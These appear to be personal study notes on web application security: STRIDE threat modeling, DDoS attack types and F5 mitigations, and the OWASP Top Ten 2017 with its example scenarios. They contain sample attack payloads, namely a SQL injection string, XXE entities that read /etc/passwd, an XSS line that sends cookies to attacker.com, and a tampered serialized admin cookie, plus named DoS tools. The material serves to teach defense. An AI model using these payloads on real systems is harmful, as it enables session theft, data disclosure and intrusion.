401 v2

SAMPLE: As there is no authentication the form is pushed outside the trust boundary

STRIDE

Example Threat Model Diagram

STRIDE

• Spoofing Identity

• Tampering with data

• Repudiation, Deniability

• Information Disclosure

• Denial of service

• Elevation of privilege

ref;

https://owasp.org/www-community/Application_Threat_Modeling - OWASP Application Threat Modeling

https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html - OWASP Threat Modeling Cheat Sheet

https://www.youtube.com/watch?v=Fmp9UFjPiJs - Threat Modeling: uncover vulnerabilities without looking at code (Good)

https://www.youtube.com/watch?v=KGy_KCRUGd4 - APPSEC Cali 2018 - Threat Modeling Toolkit

DDoS

The Four Categories of DDoS

1. Volumetric—Flood-based attacks that can be at layer 3/4 or 7.

Attacks that consume all available bandwidth across the network link that connects an application to the Internet or other networks.

Mitigation - Cloud-Based Scrubbing Service / Web Application Firewall.

2. Asymmetric—Attacks designed to invoke timeouts or session-state changes. Layer 7

Attacks that mimic legitimate application requests but attempt to overload web server resources such as CPU or memory.

Mitigation - Web Application Firewall

3. Computational—Attacks designed to consume CPU and memory. Layer 3/4

Attacks that attempt to exhaust infrastructure resources, such as firewall state tables, leading to crashing or degraded performance.

Mitigation - Application Delivery Controller (LTM) / Network Firewall (AFM)

4. Vulnerability-based—Attacks that exploit software vulnerabilities / weaknesses. Layer 3/4, 7

Mitigation - IP Reputation Database (IPI)/ Intrusion Prevention/Detection Systems (IDS/IPS) (ASM)/ Application Delivery Controller (LTM)

----

Application Services DDoS Attacks

HTTP Flood (Layer7)

In an HTTP flood, the attacker exploits seemingly legitimate HTTP GET or POST requests to attack a web server or application. These attacks typically consume less bandwidth than others but focus on triggering complex server-side processing to bring down the targeted site or app. HTTP floods can sometimes trigger responses from web servers that can turn it into a pipe-saturating volumetric attack.

Heavy URL (Layer7)

During the reconnaissance phase, an attacker will map out the most computationally expensive URLs on a site or application, also known as heavy URLs. Heavy URLs include any URL causing greater server load upon request. The initial HTTP request is relatively small but can take a long time to complete or yield large response sizes. These requests can require the server to load multiple large files or run resource-intensive database queries.

Slowloris (Layer7)

Slowloris works by opening multiple connections to a web server and sending HTTP requests, none of which are ever completed. Periodically, the attacker sends subsequent HTTP headers for each request, but never actually completes the request. Ultimately, the target server’s maximum concurrent connection pool is filled and legitimate connections are denied.

Slow Post (Layer7)

An attacker begins by sending a legitimate HTTP POST request to a web server, in which the header specifies the exact size of the message body that will follow. However, that message body is then sent at an extremely slow rate. Because the message is technically correct and complete, the targeted server attempts to follow all specified rules. If an attacker establishes enough of these POST attacks simultaneously, they consume server resources to the extent legitimate requests are denied.

Access DDoS Attacks

Brute-Force Login Attack (Layer7)

An attacker tries multiple username and password combinations, often using a dictionary of words or commonly used passwords to gain unauthorized access to an application or website. A common mitigation is to temporarily lock out user accounts with multiple failed login attempts. However, this can result in a denial of service for those affected accounts.

TLS DDoS Attacks (LTM ADC)

SSL Renegotiation (Layer 7)

This attack takes advantage of an asymmetric workload by requesting a secure connection, and then continuously renegotiating it. This requires a lot of CPU power from the server and can slow current or new connections or even take down the server.

SSL Flood (Layer 7)

Attackers send numerous TLS/SSL connection requests with the client never closing the connection. Once the concurrent connection limit is reached, the TLS termination point stops processing traffic, including legitimate requests.

SSL Squeeze (Layer 7)

A variant of an SSL renegotiation attack, the squeeze attack continuously attempts to renegotiate the connection handshake, forcing the server to decrypt “junk” requests. Typical renegotiation attacks multiplex SSL handshakes, which can be mitigated by disabling renegotiation on the server. However, SSL squeeze opens new TCP connections for each request, eventually consuming I/O.

Common Application Attacks

Mitigation BIG IP LTM + iRule OR BIG-IP ASM

• Slowloris (Nuclear DDoSer, Slowhttptest)

• Keep-Dead

• Slow POST (R-U-Dead-Yet, Tor Hammer, Nuclear DDoSer, Slowhttptest)

• HashDoS

• Apache Killer (Slowhttptest)

• HTTP GET Flood, Recursive GET Flood (Web Scraping)Dirt Jumper (HTTP Flood)

Mitigation BIG-IP ASM

• exploits SQLi / OWASP Top 10 vulnerability as entry

• XML Bomb (DTD Attack), XML External Entity DoS

DNS DDoS Attacks

DNS Flood

DNS servers rely on the UDP protocol for name resolution, which (unlike TCP queries) is connection-less. Because confirmation that UDP packets have been received isn’t required, spoofing is easily accomplished. This scripted botnet attack attempts to overwhelm server resources, ultimately affecting the DNS servers’ ability to direct legitimate requests. The attack can consist of valid UDP traffic from multiple sources or randomized packet data. This helps this attack type evade basic DDoS protection techniques like IP filtering.

NXDomain Flood

A variant of the DNS flood, an attacker floods the DNS server with requests for invalid or nonexistent records. Then, the DNS server spends its resources looking for something that doesn't exist instead of serving legitimate requests. The result is that the cache on the DNS server gets filled with bad requests and clients can't find the servers they’re looking for.

DNS Amplification

DNS amplification is a type of reflection attack that manipulates vulnerable internet facing DNS servers, causing them to flood an internet resource with an influx of large UDP packets. An attacker-controlled botnet is scripted to send small, but specially formed, DNS queries to any publicly available DNS resolver. This elicits a disproportionate response from the DNS resolver. The packet headers also include a spoofed IP address, the IP address of the DDoS target. Upon receiving the query, the open DNS resolvers provide an extremely large response to the target of the attack, which eventually consumes the bandwidth of the internet resource.

Network DDoS Attacks

SYN Flood

Every client-server conversation begins with a standard three-way handshake. The client sends a SYN packet, the server responds with a SYN-ACK, and the TCP connection is established with a final client ACK. In a SYN flood attack the client sends massive numbers of SYN requests, and never responds to the SYN-ACK messages from the server. This leaves the server with open connections waiting for responses from the client. Each of these half-open connections is tracked in the TCP connection table, eventually filling the table and blocking additional connection attempts, legitimate or otherwise.

UDP Flood

UDP is a standard communication protocol across IP networks. Because UDP packets are stateless, they require less error checking and validation in contrast to TCP. A UDP flood attack attempts to overload a server with requests by saturating the connection tables on every accessible server port. Filling the connection table with these requests prevents legitimate requests from being processed.

Memcached Amplification (Example John outlines the details of the DDoS attack that targeted the popular GitHub website.)

*Memcache issue is that it dos not have any way of authenticating

An amplification attack is a type of reflection attack that takes advantage of the ability to send small spoofed packets to services that, as part of their normal operation, will reply back to the target with a much larger response.

Memcached is a database caching system for speeding up websites and networks. Attackers can spoof requests to a vulnerable internet-facing memcached server, which then floods a target with traffic, potentially overwhelming their resources. While the target’s infrastructure is overloaded, new requests can’t be processed and regular traffic can’t access the Internet resource, resulting in denial-of-service.

Other types of amplification attacks include NTP, SSDP, SNMPv2, CharGEN, QOTD, and more.

IP Fragmentation

IP fragmentation is a process established by design of the IP protocol that breaks packets or datagrams into smaller fragments, so they can pass through network links that have a smaller maximum transmission unit (MTU) limit. The host or stateful security devices receiving the fragments reassembles them into the original datagram. The packets’ or datagrams’ IP header tells the receiver how to reassemble the datagram.

These attacks come in various forms, but all variations attempt to use fragmentation to overwhelm the target server or network node.

#note # Amplification Example - request 100mb , response maybe 10 times that!!!

ref;

The F5 DDoS Protection Reference Architecture

https://www.f5.com/pdf/products/ddos-protection-recommended-practices.pdf

Mitigating DDoS attacks with F5

Real Attack Stories: Financial Botnet

Notes

syn, syn, syn ,syn attack (mitigate computational attacks such as SYN floods with On-Premises Network Defence)

get index.asp multiple times attack (Mitigating GET floods / Asymmetric DDoS with ASM On-Premises Application Defence.

• Mitigations strategies for GET floods include:

• The login-wall defense

• DDoS protection profiles

• Real browser enforcement

• CAPTCHA Request-throttling

• iRules Custom iRules

LTM-ADC DDoS

Application Delivery Controllers (ADCs) provide strategic points of control in the network. When chosen, provisioned, and controlled properly, they can significantly strengthen a DDoS defense. For example, the full-proxy nature of the F5 ADC reduces computational and vulnerability-based threats by validating common protocols such as HTTP and DNS. For these reasons, F5 recommends a full-proxy ADC.

Big-IP TCP / SSL sizing

Platform Series TCP Connection Table Size SSL Connection Table Size

VIPRION Chassis 12–144 million 1–32 million

High-End Appliances 24–36 million 2.5–7 million

Mid-Range Appliances 24 million 4 million

Low-Range Appliances 6 million 0.7–2.4 million

Virtual Edition 3 million 0.7 million

SMALL-TO-MEDIUM ENTERPRISES BIG-IP i2000 / i4000 series

MID-TO-LARGE ENTERPRISES BIG-IP i5000 / i7000 / i10000 series

LARGE ENTERPRISES AND SERVICE PROVIDERS BIG-IP i11000 / i15000 series

Cross Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated!! ...Look for the auth cookie in the request!

https://www.youtube.com/watch?v=1QZfes9q1LI - F5 Configuring CSRF protection

https://youtu.be/5joX1skQtVE - What is a CSRF? | OWASP Top 10 2013

https://youtu.be/eWEgUcHPle0 - Cross-Site Request Forgery Attack

https://www.youtube.com/watch?v=hW2ONyxAySY - Understanding CSRF, the video tutorial edition (Good)

Open Web Application Security Project OWASP TOP TEN

A1:2017-Injection

Almost any source of data can be an injection vector, environment variables, parameters, external and internal web services, and all types of users. Injection flaws occur when an attacker can send hostile data to an interpreter.

Injection flaws are very prevalent, particularly in legacy code. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries. Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection flaws.

Injection can result in data loss, corruption, or disclosure to unauthorized parties, loss of accountability, or denial of access. Injection can sometimes lead to complete host takeover. The business impact depends on the needs of the application and data.

***injection attack is attacking the server

*SQL injection

' UNION SELECT NULL,NULL,'a',NULL--

Ref and Example;

https://www.youtube.com/watch?v=9CnpHT5Nn8c - OWASP Top 10: A1 Injection

https://youtu.be/Znywg57m2iM - What is Injection? | OWASP Top 10 2017 | Video by Detectify

https://youtu.be/rWHvp7rUka8 - OWASP Top 10: Injection Attacks Dev Central

https://youtu.be/-tF-ZkzdThI - The OWASP Top Ten Proactive Controls - Jim Manico *V.Good

https://www.youtube.com/watch?v=CCIO3GOaFe0 - OWASP Top Ten(s) to the OWASP ASVS - Jim Manico

---

https://portswigger.net/web-security/os-command-injection - Command Injection / Shell Command

https://www.youtube.com/watch?v=fV0qsqcScI4 - XPath Injection

Command Injection

cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection

A2:2017-Broken Authentication

Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools. Session management attacks are well understood, particularly in relation to unexpired session tokens.

https://youtu.be/2RKbacrkUBU?list=PLyqga7AXMtPPuibxp1N0TdyDrKwP9H_jD

*broken access / authentication - cookie tampering

A3:2017-Sensitive Data Exposure

Rather than directly attacking crypto, attackers steal keys, execute man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s client, e.g. browser. A manual attack is generally required. Previously retrieved password databases could be brute forced by Graphics Processing Units (GPUs)

Example Attack Scenarios

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing a SQL injection flaw to retrieve credit card numbers in clear text.

Scenario #2: A site doesn’t use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user’s session cookie. The attacker then replays this cookie and hijacks the user’s (authenticated) session, accessing or modifying the user’s private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.

Scenario #3: The password database uses unsalted or simple hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.

https://youtu.be/2RKbacrkUBU?list=PLyqga7AXMtPPuibxp1N0TdyDrKwP9H_jD

A4:2017-XML External Entities (XXE)

Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations.

Applications and in particular XML-based web services or downstream integrations might be vulnerable to attack if:

* The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor.

* Any of the XML processors in the application or SOAP based web services has document type definitions (DTDs) enabled. As the exact mechanism for disabling DTD processing varies by processor, it is good practice to consult a reference such as the OWASP Cheat Sheet ‘XXE Prevention’.

* If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable.

* If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.

Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks including the Billion Laughs attack

Scenario #1: The attacker attempts to extract data from the server:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

Scenario #2: An attacker probes the server’s private network by changing the above ENTITY line to:

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

Scenario #3: An attacker attempts a denial-of-service attack by including a potentially endless file:

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

https://youtu.be/g2ey7ry8_CQ?list=PLyqga7AXMtPPuibxp1N0TdyDrKwP9H_jD

A5:2017-Broken Access Control

Exploitation of access control is a core skill of attackers. SAST and DAST tools can detect the absence of access control but cannot verify if it is functional when it is present. Access control is detectable using manual means, or possibly through automation for the absence of access controls in certain frameworks.

* Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.

* Allowing the primary key to be changed to another’s users record, permitting viewing or editing someone else’s account.

* Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user.

* Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation.

* CORS misconfiguration allows unauthorized API access.

* Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account.

http://example.com/app/accountInfo?acct=notmyacct

Scenario #2: An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.

https://www.youtube.com/watch?v=pUGPBMja6o4&list=PL56yd_Do69_C5SS3IwTafZPPEKRSifZlh&index=5

broken access / authentication - cookie tampering

A6:2017-Security Misconfiguration

Attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc to gain unauthorized access or knowledge of the system.

The application might be vulnerable if the application is:

* Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.

* Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).

* Default accounts and their passwords still enabled and unchanged.

* Error handling reveals stack traces or other overly informative error messages to users.

* For upgraded systems, latest security features are disabled or not configured securely.

* The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.

* The server does not send security headers or directives or they are not set to secure values.

* The software is out of date or vulnerable (see A9:2017-Using Components with Known Vulnerabilities). Without a concerted, repeatable application security configuration process, systems are at a higher risk.

Scenario #1: The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren’t changed the attacker logs in with default passwords and takes over.

Scenario #2: Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.

Scenario #3: The application server’s configuration allows detailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.

Scenario #4: A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.

A7:2017-Cross-Site Scripting (XSS)

Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks.

There are three forms of XSS, usually targeting users’ browsers:

* Reflected XSS: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.

* Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.

* DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.

Scenario #1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT'

value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in the browser to:

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

***xxs cross site script attack is attack the user

example XML attacks

$HTMLCode = <![CDATA[<script>alert('XSS')</script>]]>

$HTMLCode = &lt;script>alert('XSS')&lt;/script>

A8:2017-Insecure Deserialization

Exploitation of deserialization is somewhat difficult, as off the shelf exploits rarely work without changes or tweaks to the underlying exploit code.

Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker. This can result in two primary types of attacks:

* Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.

* Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.

Serialization may be used in applications for:

* Remote- and inter-process communication (RPC/IPC)

* Wire protocols, web services, message brokers!

* Caching/Persistence

* Databases, cache servers, file systems

* HTTP cookies, HTML form parameters, API authentication tokens

Scenario #1: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the “R00” Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object serialization to save a “super” cookie, containing the user’s user ID, role, password hash, and other state:

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

An attacker changes the serialized object to give themselves admin privileges:

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

A9:2017-Using Components with Known Vulnerabilities

While it is easy to find already-written exploits for many known vulnerabilities, other vulnerabilities require concentrated effort to develop a custom exploit.

You are likely vulnerable:

* If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.

* If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.

* If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.

* If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.

* If software developers do not test the compatibility of updated, upgraded, or patched libraries.

* If you do not secure the components’ configurations (see A6:2017-Security Misconfiguration).

Scenario #1: Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:

* CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.

* While internet of things (IoT) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).

There are automated tools to help attackers find unpatched or misconfigured systems. For example, the Shodan IoT search engine can help you find devices that still suffer from Heartbleed vulnerability that was patched in April 2014.

There are automated tools to help attackers find unpatched or misconfigured systems. For example, the Shodan IoT search engine can help you find devices that still suffer from Heartbleed vulnerability that was patched in April 2014.

A10:2017-Insufficient Logging & Monitoring

Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident.

Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected.

Insufficient logging, detection, monitoring and active response occurs any time:

* Auditable events, such as logins, failed logins, and high-value transactions are not logged.

* Warnings and errors generate no, inadequate, or unclear log messages.

* Logs of applications and APIs are not monitored for suspicious activity.

* Logs are only stored locally.

* Appropriate alerting thresholds and response escalation processes are not in place or effective.

* Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts.

* The application is unable to detect, escalate, or alert for active attacks in real time or near real time.

You are vulnerable to information leakage if you make logging and alerting events visible to a user or an attacker (see A3:2017-Sensitive Data Exposure).

Scenario #1: An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active as a result of this issue.

Scenario #2: An attacker uses scans for users using a common password. They can take over all accounts using this password. For all other users, this scan leaves only one false login behind. After some days, this may be repeated with a different password.

Scenario #3: A major US retailer reportedly had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. The sandbox had been producing warnings for some time before the breach was detected due to fraudulent card transactions by an external bank.

Two good pages that give examples and interactive demos

https://www.hacksplaining.com/lessons

https://www.hacksplaining.com/owasp